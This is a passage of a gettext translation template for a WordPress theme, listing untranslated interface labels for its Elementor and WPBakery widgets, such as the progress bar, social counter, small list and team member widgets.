msgid "Custom Label"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:50
#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:80
msgid "Custom Label #1"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:62
#: inc/js_composer/shortcodes/progress_bar/settings.php:57
msgid "Custom text color"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:69
#: inc/js_composer/shortcodes/progress_bar/settings.php:51
msgid "Custom background color"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:84
msgid "Custom Label #2"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:88
msgid "Custom Label #3"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:98
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:89
#: inc/js_composer/shortcodes/progress_bar/settings.php:96
#: inc/js_composer/shortcodes/weather/settings.php:52
msgid "Units"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:100
#: inc/js_composer/shortcodes/progress_bar/settings.php:98
msgid ""
"Enter measurement units (Example: %, px, points, etc. Note: graph value and "
"units will be appended to graph title)."
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:106
#: inc/js_composer/shortcodes/progress_bar/settings.php:102
msgid "Options"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:110
#: inc/js_composer/shortcodes/progress_bar/settings.php:105
msgid "Add stripes"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:111
msgid "Add animation (Note: visible only with striped bar)"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:118
msgid "Custom Height for Process Bar"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:126
msgid "Border Radius for Process Bar"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:134
msgid "Custom Margin Top for Process Bar"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:142
msgid "Custom Margin Bottom for Process Bar"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:161
msgid "Process Bar Title Color"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:169
msgid "Font size for Process Bar Title"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:178
msgid "Process Bar Score Color"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:186
msgid "Font size for Process Bar Score"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:196
msgid "Process Bar Run Background Color"
msgstr ""

#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:204
msgid "Process Bar Background Color"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:21
msgid " Widget Recent/Popular Posts"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:96
msgid "Custom Image size for Featured Posts"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:106
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:111
#: inc/js_composer/shortcodes/recent_posts/settings.php:28
msgid "Custom words length for post titles"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:108
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:113
#: inc/js_composer/shortcodes/recent_posts/settings.php:30
msgid ""
"If your post titles is too long - You can use this option for trim it. Fill "
"number value here."
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:118
msgid "Don't Show"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:119
msgid "Show with Color Style"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:120
msgid "Show with Hover Style"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:121
msgid "Show with Animation Style"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:136
msgid "Hide thumbnail"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:153
#: inc/js_composer/shortcodes/recent_posts/settings.php:127
msgid ""
"If you use 2 columns option, it will ignore option display thumbnail on "
"right."
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:164
#: inc/js_composer/shortcodes/recent_posts/settings.php:144
msgid "Display featured post style 2?"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:172
#: inc/js_composer/shortcodes/recent_posts/settings.php:155
msgid ""
"If you use all post featured option, it will ignore option display thumbnail "
"on right & 2 columns."
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:177
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:119
msgid "Show Author Name?"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:189
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:131
#: inc/js_composer/shortcodes/recent_posts/settings.php:181
msgid "Show Comment Count?"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:201
#: inc/js_composer/shortcodes/recent_posts/settings.php:199
msgid "Enable icon post format?"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:207
#: inc/js_composer/shortcodes/recent_posts/settings.php:208
msgid "Show the order numbers?"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:214
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:216
#: inc/js_composer/shortcodes/recent_posts/settings.php:227
msgid "Custom Image Width"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:215
#: inc/js_composer/shortcodes/recent_posts/settings.php:228
msgid "This option doesn't apply for featured posts."
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:281
msgid "Border Colors for Timeline Dots"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:291
msgid "Dots Background Color"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:302
msgid "Dots Hover/Animation Background Color"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:313
msgid "Order Number Background Color"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:322
msgid "Order Number Text Color"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:368
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:231
msgid "Font size for Featured/Big Post"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:396
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:258
msgid "Color for Author Name & Comment Count"
msgstr ""

#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:406
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:267
msgid "Hover Color for Author Name & Comment Count"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:23
msgid " Search Box"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:48
msgid "Search Box Style"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:59
msgid "Max Width ( px )"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:156
msgid "Input Padding"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:189
msgid "Search Form Height"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:200
msgid "Input Text Typography"
msgstr ""

#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:206
msgid "Button Text Typography"
msgstr ""

#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:18
msgid " Sidebar"
msgstr ""

#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:46
msgid "Sidebar to Display"
msgstr ""

#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:58
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:71
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:101
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:115
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:129
#: inc/meta-box/register/page.php:104 inc/meta-box/register/page.php:290
#: inc/template-function.php:329
msgid "Default( follow Customize )"
msgstr ""

#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:59
msgid "No Boxed"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:42
msgid " Simple List"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:110
#: inc/js_composer/shortcodes/simple_list/settings.php:122
msgid "With icon"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:111
#: inc/js_composer/shortcodes/simple_list/settings.php:124
msgid "Ordered"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:112
#: inc/js_composer/shortcodes/simple_list/settings.php:125
msgid "Unordered"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:113
#: inc/js_composer/shortcodes/simple_list/settings.php:126
msgid "Without icon"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:167
msgid "Spacing Between Items"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:181
msgid "List Items"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:200
msgid "Enter URL if you want this text to have a link."
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:246
msgid "List Typography"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:266
#: inc/js_composer/shortcodes/simple_list/settings.php:56
msgid "Text color hover"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:311
#: inc/js_composer/shortcodes/simple_list/settings.php:307
msgid "Icons color"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:327
#: inc/js_composer/shortcodes/simple_list/settings.php:318
msgid "Icons color hover"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:343
#: inc/js_composer/shortcodes/simple_list/settings.php:329
msgid "Icons background color"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:358
#: inc/js_composer/shortcodes/simple_list/settings.php:340
msgid "Icons background color hover"
msgstr ""

#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:373
#: inc/js_composer/shortcodes/product_tab/settings.php:32
msgid "Icon size"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:22
msgid " Small List"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:104
msgid "Horizontal Space Between Posts"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:114
msgid "Vertical Space Between Posts"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:403
#: inc/js_composer/shortcodes/small_list/settings.php:298
msgid "Post Date Position"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:414
#: inc/js_composer/shortcodes/small_list/settings.php:308
#: inc/js_composer/shortcodes/small_list/settings.php:325
msgid "Post Date Align"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:438
#: inc/js_composer/shortcodes/small_list/settings.php:319
msgid "Post Date Width"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:463
msgid "Date Format"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:492
#: inc/js_composer/shortcodes/small_list/settings.php:356
msgid "Show The Post Excerpt?"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:512
#: inc/js_composer/shortcodes/small_list/settings.php:372
msgid "Custom Excerpt Align"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:540
#: inc/js_composer/shortcodes/small_list/settings.php:384
msgid "Show Read More Button?"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:550
#: inc/js_composer/shortcodes/small_list/settings.php:394
msgid "Read More Button Style"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:563
#: inc/js_composer/shortcodes/small_list/settings.php:406
msgid "Custom Read More Align"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:587
#: inc/js_composer/shortcodes/small_list/settings.php:417
msgid "Excerpt & Read More Position"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:642
#: inc/js_composer/shortcodes/small_list/settings.php:465
msgid "Hide Post Read More Button on Mobile"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:740
msgid "Post Items Background Color"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:747
msgid "Post Items Padding"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:756
msgid "Add Borders for Post Items"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:774
msgid "Post Items Borders Width"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:865
msgid "Post Date ( for \"Creative List\" layout )"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1024
msgid "Hover Borders Color"
msgstr ""

#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:1057
msgid "Post Excerpt Margin Top"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:23
msgid " Snapchat"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:48
msgid "Account Name:"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:53
msgid "Account ID:"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:86
msgid "Background Style"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:96
msgid "Custom Badge Size"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:139
msgid "Account Name Typography"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:144
msgid "Account Name Color"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:152
msgid "Account ID Typography"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:157
msgid "Account ID Color"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:164
msgid "Badge Border Color"
msgstr ""

#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:201
#: inc/widgets/snapchat.php:75
msgid "Enter the required account info."
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:21
msgid " Social Counter"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:46
msgid "Select Data Source"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:50
#: inc/js_composer/shortcodes/social_counter/settings.php:150
#: inc/js_composer/shortcodes/social_counter/settings.php:162
#: inc/social-counter/admin-options.php:50 inc/widgets/social_counter.php:272
#: inc/widgets/social_counter.php:319
msgid "Social Counter"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:51
msgid "Social Customizer (no counter)"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:70
#: inc/js_composer/shortcodes/social_counter/settings.php:168
msgid "Hide Counter Data & Show Social Name?"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:78
msgid "Select Pre-Build Design"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:90
#: inc/js_composer/shortcodes/social_counter/settings.php:190
msgid "Filled or Bordered Style?"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:111
#: inc/gutenberg/block/recipe-index/index.js:74
#: inc/js_composer/shortcodes/social_counter/settings.php:211
msgid "Select Columns"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:125
#: inc/js_composer/shortcodes/social_counter/settings.php:224
msgid "Select Columns for Tablet"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:139
#: inc/js_composer/shortcodes/social_counter/settings.php:237
msgid "Select Columns for Mobile"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:152
#: inc/js_composer/shortcodes/social_counter/settings.php:250
msgid "Colors Style"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:157
#: inc/js_composer/shortcodes/social_counter/settings.php:255
msgid "Brands Background Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:158
#: inc/js_composer/shortcodes/social_counter/settings.php:256
msgid "Brands Icons Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:163
#: inc/js_composer/shortcodes/social_counter/settings.php:261
msgid "Horizontal Spacing Between Social Icons"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:172
#: inc/js_composer/shortcodes/social_counter/settings.php:268
msgid "Vertical Spacing Between Social Icons"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:181
msgid "Custom Height for Social Icon"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:204
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:240
msgid "Show/Hide Social Icons"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:217
#: inc/js_composer/shortcodes/social_counter/settings.php:44
#: inc/widgets/social_counter.php:640
msgid "SoundCloud"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:220
#: inc/widgets/social_counter.php:652
msgid "Tiktok"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:222
#: inc/widgets/social_counter.php:660
msgid "RSS"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:233
msgid "Setup "
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:263
msgid "Social Items Settings"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:269
msgid ""
"Please note that: If you selected to use Brands Background Color or Brands "
"Icons Color, some colors options below can not apply."
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:341
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:175
#: inc/js_composer/shortcodes/social_media/settings.php:182
msgid "Icons Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:350
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:187
#: inc/js_composer/shortcodes/social_media/settings.php:189
msgid "Icons Hover Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:359
#: inc/js_composer/shortcodes/social_counter/settings.php:343
msgid "Counter Text Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:369
#: inc/js_composer/shortcodes/social_counter/settings.php:349
msgid "Counter Text Hover Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:379
#: inc/js_composer/shortcodes/social_counter/settings.php:355
msgid "\"Fans\" Text Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:389
#: inc/js_composer/shortcodes/social_counter/settings.php:361
msgid "\"Fans\" Text Hover Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:399
#: inc/js_composer/shortcodes/social_counter/settings.php:367
msgid "\"Follow\" Text Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:409
#: inc/js_composer/shortcodes/social_counter/settings.php:373
msgid "\"Follow\" Text Hover Color"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:420
msgid "Number Typography"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:427
msgid "Info Text Typography"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:434
msgid "Social Name Typography"
msgstr ""

#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:440
#: inc/js_composer/shortcodes/social_counter/settings.php:378
msgid "Use Shadow?"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:19
msgid " Widget Social Media"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:54
#: inc/js_composer/shortcodes/social_media/settings.php:18
msgid "Display Social Text on Right Icons"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:76
#: inc/js_composer/shortcodes/social_media/settings.php:39
msgid "Remove Border Around Icons ?"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:85
#: inc/js_composer/shortcodes/social_media/settings.php:48
msgid "Remove Border Radius on Border of Icons ?"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:94
#: inc/js_composer/shortcodes/social_media/settings.php:57
msgid "Use Brand Colors for Social Icons ?"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:103
#: inc/js_composer/shortcodes/social_media/settings.php:67
msgid "Custom Font Size for Icons"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:121
msgid "Typography for Text"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:131
msgid "Socials"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:199
#: inc/js_composer/shortcodes/social_media/settings.php:196
msgid "Icons Border Color"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:208
#: inc/js_composer/shortcodes/social_media/settings.php:203
msgid "Icons Border Hover Color"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:217
#: inc/js_composer/shortcodes/social_media/settings.php:210
msgid "Icons Background Color"
msgstr ""

#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:226
#: inc/js_composer/shortcodes/social_media/settings.php:217
msgid "Icons Hover Background Color"
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:37
msgid "Enable Sticky sidebar and content"
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:38
#: inc/elementor/modules/penci-sticky/module.php:58
msgid "Check on front end to see it works."
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:47
msgid "Flexible Responsive?"
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:48
msgid "This option applies for Structure \"25, 50, 25\" only"
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:57
msgid ""
"Custom Position of Content and Sidebar on Mobile with Structure \"25, 50, "
"25\""
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:89
msgid "Enable Sticky Content"
msgstr ""

#: inc/elementor/modules/penci-sticky/module.php:90
msgid ""
"Check on front end to see it works. This option only works for the parent "
"container."
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:21
msgid " Stylisted Articles Count"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:65
msgid "Columns for Tablet"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:76
msgid "Columns for Mobile"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:283
msgid "Number Style"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:347
msgid "Number Typography on Small Posts"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:354
msgid "Number Typography on Big Post"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:360
msgid "Number Size on Small Posts"
msgstr ""

#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:371
msgid "Number Size on Big Post"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:23
msgid " Team Members"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:56
msgid "Team memebers"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:79
msgid "Avatar URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:84
msgid "Website URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:89
msgid "Facebook URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:94
msgid "Twitter URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:99
msgid "Linkedin URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:104
msgid "Instagram URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:109
msgid "Youtube URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:114
msgid "Vimeo URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:119
msgid "Pinterest URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:124
msgid "Dribbble URL"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:134
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:143
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:152
msgid "Team member #1"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:179
#: inc/js_composer/shortcodes/team_member/settings.php:23
msgid "Extended"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:180
#: inc/js_composer/shortcodes/team_member/settings.php:24
msgid "Overlay Slide Up"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:207
msgid "Custom Image Ratio Height/Width (%)"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:222
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:539
msgid "Image Border Radius"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:232
#: inc/js_composer/shortcodes/team_member/settings.php:29
msgid "Title Position"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:237
msgid "Above Position Text"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:238
msgid "Below Position Text"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:243
#: inc/js_composer/shortcodes/team_member/settings.php:40
msgid "Social Icons Shape"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:255
#: inc/js_composer/shortcodes/team_member/settings.php:52
msgid "Social Icons Style"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:266
#: inc/js_composer/shortcodes/team_member/settings.php:63
msgid "Social Icons Colors Style"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:270
msgid "Custom Colors"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:271
msgid "Brands Color"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:272
msgid "Brands Text Color"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:284
msgid "Member Items Rows Gap"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:291
msgid "Member Items Columns Gap"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:298
msgid "Image Bottom Spacing"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:309
msgid "Name Top Spacing"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:318
msgid "Position Text Top Spacing"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:325
msgid "Description Top Spacing"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:339
msgid "Social Icons Top Spacing"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:350
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:355
#: inc/js_composer/shortcodes/team_member/settings.php:11
msgid "Team Members"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:473
msgid "Social Icons Hover Background Color"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:480
msgid "Social Icons Borders Color"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:487
msgid "Social Icons Hover Borders Color"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:494
msgid "Icons Size"
msgstr ""

#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:512
